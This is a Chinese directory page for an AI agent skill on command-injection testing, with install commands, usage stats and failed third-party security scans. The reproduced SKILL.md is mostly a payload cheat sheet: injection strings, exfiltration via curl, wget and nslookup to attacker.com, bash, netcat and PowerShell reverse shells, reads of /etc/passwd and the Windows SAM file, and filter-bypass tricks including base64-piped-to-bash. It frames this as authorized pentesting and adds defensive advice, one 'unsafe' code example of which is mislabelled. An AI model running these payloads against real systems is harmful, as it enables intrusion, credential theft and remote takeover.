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Agent Skill · 待分类

command-injection-testing(命令注入测试)

用于辅助测试设计、自动化测试、用例整理和回归验证。它适合让 Agent 编写单元测试、端到端测试、测试计划或根据失败日志定位问题。使用时需要确认项目测试框架、运行命令和夹具数据,避免为了通过测试而改坏真实逻辑;涉及浏览器或外部服务时,应区分本地模拟、测试环境和生产环境。

command-injection-testing 是待分类类 Agent Skill,可用宿主为 Codex、Claude、Cursor、Gemini CLI,通过GitHub 仓库获取,权限为执行命令;许可证信息还不明确,第三方扫描有未通过项,按安装量在待分类类的 11,209 个 Skill 里排第 4,813。

总安装 672周安装 28GitHub Stars 3,488下载 224核验 2026-05-01

安装说明

本站只整理中文说明,不托管安装包,也不代用户安装。
GitHub
许可证
unknown

安装方式

通过对话安装

复制提示词发给支持本地命令或 Skills 的 AI 助手,先确认命令和权限,再让它执行。

请帮我安装这个 Agent Skill:command-injection-testing(命令注入测试)
来源仓库:https://github.com/ed1s0nz/cyberstrikeai
仓库路径:skills/command-injection-testing
安装命令:
npx skills add https://github.com/ed1s0nz/cyberstrikeai --skill command-injection-testing
安装前请先检查当前环境是否支持对应 CLI,并向我确认将要执行的命令、安装目录、联网范围和文件读写权限;确认后再执行。

命令行安装

复制命令到本机终端执行。该命令会通过 npx skills 从第三方来源获取 Skill;本站只展示命令,不托管安装包,也不自动执行。

skills.shnpx skills
npx skills add https://github.com/ed1s0nz/cyberstrikeai --skill command-injection-testing

这个 Skill 是做什么的

这个 Skill 的分类还没最终确定,用法以来源仓库的说明为准。

用于识别和测试命令注入漏洞,提供检测方法与利用思路。适用于安全团队进行渗透测试或开发阶段自查潜在风险点。可结合常见分隔符与Payload模板快速定位命令执行入口。操作前应评估权限范围,确保测试行为符合合规要求。command-injection-testing 属于待分类类 Skill,可作为该场景下的辅助能力补充。

来源仓库内路径:skills/command-injection-testing

上手步骤

4 步
  1. 1

    确认自己的宿主工具

    公开资料标注支持 Codex、Claude、Cursor、Gemini CLI;先确认自己用的是其中之一,再按对应工具的 Skills 目录放置。

  2. 2

    拿到安装命令

    可以直接复制的命令是 npx skills add https://github.com/ed1s0nz/cyberstrikeai --skill command-injectio…;命令里的占位符换成自己的路径或密钥再执行。

  3. 3

    安装后重启宿主

    命令执行完要完全退出宿主工具再打开,让新装的 Skill 被重新扫描到,否则列表里可能看不到。

  4. 4

    按最小权限试用

    它需要执行命令,先在测试目录或测试账号里跑,确认没问题再放到正式项目。

常见问题

6 条

command-injection-testing 怎么安装?

在终端执行 npx skills add https://github.com/ed1s0nz/cyberstrikeai --skill command-injection-testing。装完完全退出宿主工具再打开,让它重新扫描本地 Skill。

command-injection-testing 支持哪些 AI 工具?

公开资料标注支持 Codex、Claude、Cursor、Gemini CLI。其他工具只要能读取本地 Skill 目录,一般也能手动放进去,但要自己确认触发方式是否一致。

command-injection-testing 需要什么权限?

权限级别是执行命令。安装流程涉及命令执行,可能通过 npx skills add https://github.com/ed1s0nz/cyberstrikeai --skill command-injection-testing 联网下载 Skill 或依赖。用户安装前应确认命令来源、仓库内容和执行环境。

command-injection-testing 是免费的吗?

公开资料没有标注明确许可证,收费和商用限制都无法确认。正式使用前请到来源仓库核对授权说明。

command-injection-testing 用的人多吗?

公开数据是累计安装 672 次,近一周安装 28 次,下载 224 次,GitHub 3,488 星。这些数字来自第三方目录统计,只能当作热度参考,不代表质量或安全性。

command-injection-testing 安全吗?

第三方扫描有未通过项,风险较高。除非你确认过源码,否则不建议直接安装到常用环境。

值得选的地方和要先想清楚的地方

值得选的地方

  • 同时适配 4 种工具,换客户端不用重新找替代品。
  • 来源仓库有 3,488 星,维护活跃度相对可查。

先想清楚的地方

  • 需要执行命令,装到常用环境前要先评估影响面。
  • 许可证没有明确标注,能不能商用、能不能再分发都不确定。
  • 第三方扫描存在提醒项或未通过项,需要人工逐条确认。
  • 第三方目录整理,版本更新和行为细节以来源仓库为准。

适不适合你

更适合

  • 已经在用 Codex,想直接扩展它能力的人。
  • 需要处理待分类类任务、又不想每次都手写提示词的人。

不太适合

  • 不能接受 Skill 在你机器上执行命令的人。
  • 需要明确授权才能用到公司项目里的场景。
  • 需要厂商级技术支持和 SLA 的生产系统。

待分类类 Skill 对比

6 个同类
Skill总安装GitHub 星权限许可证扫描
infsh-cli

infsh CLI · Codex、Claude

4,374,576382权限未标注未明确未收录
ai-video-generation

AI 视频生成 · Codex、Claude

4,313,376382调用外部服务未明确有提醒
lark-openapi-explorer

云雀 OpenAPI 浏览器 · Codex、Claude

2,064,1209,011需要联网未明确有提醒
lark-workflow-standup-report

Lark 工作流程站立报告 · Codex、Claude

2,041,6328,978需要联网未明确通过
use-my-browser

使用我的浏览器 · Codex、Claude

1,848,49140操作浏览器未明确未通过
command-injection-testing

命令注入测试 · 本页

6723,488执行命令未明确未通过

按安装量取同分类前几名;数字来自第三方目录统计,只作热度参考,不代表质量结论。

SKILL.md 原文

命令注入漏洞测试

概述

命令注入是一种通过应用程序执行系统命令的漏洞。当应用程序将用户输入直接传递给系统命令时,攻击者可以执行任意命令。本技能提供命令注入的检测、利用和防护方法。

漏洞原理

应用程序调用系统命令时,未对用户输入进行充分验证和过滤,导致攻击者可以注入额外的命令。

危险代码示例:

// PHP
system("ping " . $_GET['ip']);

// Python
os.system("ping " + user_input)

// Node.js
child_process.exec("ping " + user_input)

测试方法

1. 识别命令执行点

常见功能:

  • Ping功能
  • DNS查询
  • 文件操作
  • 系统信息
  • 日志查看
  • 备份恢复

2. 基础检测

测试命令分隔符:

;  # 命令分隔符(Linux/Windows)
&  # 后台执行(Linux/Windows)
|  # 管道符(Linux/Windows)
&& # 逻辑与(Linux/Windows)
|| # 逻辑或(Linux/Windows)
`  # 命令替换(Linux)
$() # 命令替换(Linux)

测试Payload:

127.0.0.1; id
127.0.0.1 && whoami
127.0.0.1 | cat /etc/passwd
127.0.0.1 `whoami`
127.0.0.1 $(whoami)

3. 盲命令注入

时间延迟检测:

127.0.0.1; sleep 5
127.0.0.1 && sleep 5
127.0.0.1 | sleep 5

外带数据:

127.0.0.1; curl http://attacker.com/?$(whoami)
127.0.0.1 && wget http://attacker.com/$(cat /etc/passwd)

DNS外带:

127.0.0.1; nslookup $(whoami).attacker.com

利用技术

基础命令执行

Linux:

; id
; whoami
; uname -a
; cat /etc/passwd
; ls -la

Windows:

& whoami
& ipconfig
& type C:\Windows\System32\drivers\etc\hosts
& dir

文件操作

读取文件:

; cat /etc/passwd
; type C:\Windows\System32\config\sam
; head -n 20 /var/log/apache2/access.log

写入文件:

; echo "<?php phpinfo(); ?>" > /tmp/shell.php
; echo "test" > C:\temp\test.txt

反弹Shell

Bash:

; bash -i >& /dev/tcp/attacker.com/4444 0>&1

Netcat:

; nc -e /bin/bash attacker.com 4444
; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attacker.com 4444 >/tmp/f

PowerShell:

& powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('attacker.com',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

绕过技术

空格绕过

${IFS}id
${IFS}whoami
$IFS$9id
<>
%09 (Tab)
%20 (Space)

命令分隔符绕过

编码绕过:

%3b (;)
%26 (&)
%7c (|)

换行绕过:

%0a (换行)
%0d (回车)

关键字过滤绕过

变量拼接:

a=w;b=ho;c=ami;$a$b$c

通配符:

/bin/c?t /etc/passwd
/usr/bin/ca* /etc/passwd

引号绕过:

w'h'o'a'm'i
w"h"o"a"m"i

反斜杠:

w\ho\am\i

Base64编码:

echo "d2hvYW1p" | base64 -d | bash

长度限制绕过

使用文件:

echo "id" > /tmp/c
sh /tmp/c

使用环境变量:

export x='id';$x

工具使用

Commix

# 基础扫描
python commix.py -u "http://target.com/ping?ip=127.0.0.1"

# 指定注入点
python commix.py -u "http://target.com/ping?ip=INJECT_HERE" --data="ip=INJECT_HERE"

# 获取Shell
python commix.py -u "http://target.com/ping?ip=127.0.0.1" --os-shell

Burp Suite

  1. 拦截请求
  2. 发送到Intruder
  3. 使用命令注入Payload列表
  4. 观察响应或时间延迟

验证和报告

验证步骤

  1. 确认可以执行系统命令
  2. 验证命令执行结果
  3. 评估影响(系统控制、数据泄露等)
  4. 记录完整的POC

报告要点

  • 漏洞位置和输入参数
  • 可执行的命令类型
  • 完整的利用步骤和POC
  • 修复建议(输入验证、参数化、白名单等)

防护措施

推荐方案

  1. 避免命令执行

- 使用API替代系统命令 - 使用库函数替代命令

  1. 输入验证 import re def validate_ip(ip): pattern = r'^(\d{1,3}\.){3}\d{1,3}$' if not re.match(pattern, ip): raise ValueError("Invalid IP") parts = ip.split('.') if not all(0 <= int(p) <= 255 for p in parts): raise ValueError("Invalid IP range") return ip
  2. 参数化命令 import subprocess # 危险 subprocess.call(['ping', '-c', '1', user_input]) # 安全 - 使用参数列表 subprocess.call(['ping', '-c', '1', validated_ip])
  3. 白名单验证 ALLOWED_COMMANDS = ['ping', 'nslookup'] ALLOWED_OPTIONS = {'ping': ['-c', '-n']} if command not in ALLOWED_COMMANDS: raise ValueError("Command not allowed")
  4. 最小权限

- 使用低权限用户运行应用 - 限制文件系统访问 - 使用chroot或容器隔离

  1. 输出过滤

- 限制输出内容 - 过滤敏感信息 - 记录命令执行日志

注意事项

  • 仅在授权测试环境中进行
  • 避免对系统造成破坏
  • 注意不同操作系统的命令差异
  • 测试时注意命令执行的影响范围

平台分布

Codex

34.83%
按下载量换算78

Claude

29.37%
按下载量换算66

Cursor

19.37%
按下载量换算43

Gemini CLI

9.74%
按下载量换算22

安全审计

Gen Agent Trust Hub

未通过

Socket

通过

Snyk

未通过

权限和风险

执行命令

安装流程涉及命令执行,可能通过 npx skills add https://github.com/ed1s0nz/cyberstrikeai --skill command-injection-testing 联网下载 Skill 或依赖。用户安装前应确认命令来源、仓库内容和执行环境。

安装前确认

本站仅展示第三方公开信息,不托管安装包,不提供自动安装或运行环境。安装前应自行审查源码、依赖和命令行为。来源安全扫描存在提醒或未通过项,安装前请自行复核。目前只有一个公开来源,建议同时核对源仓库。

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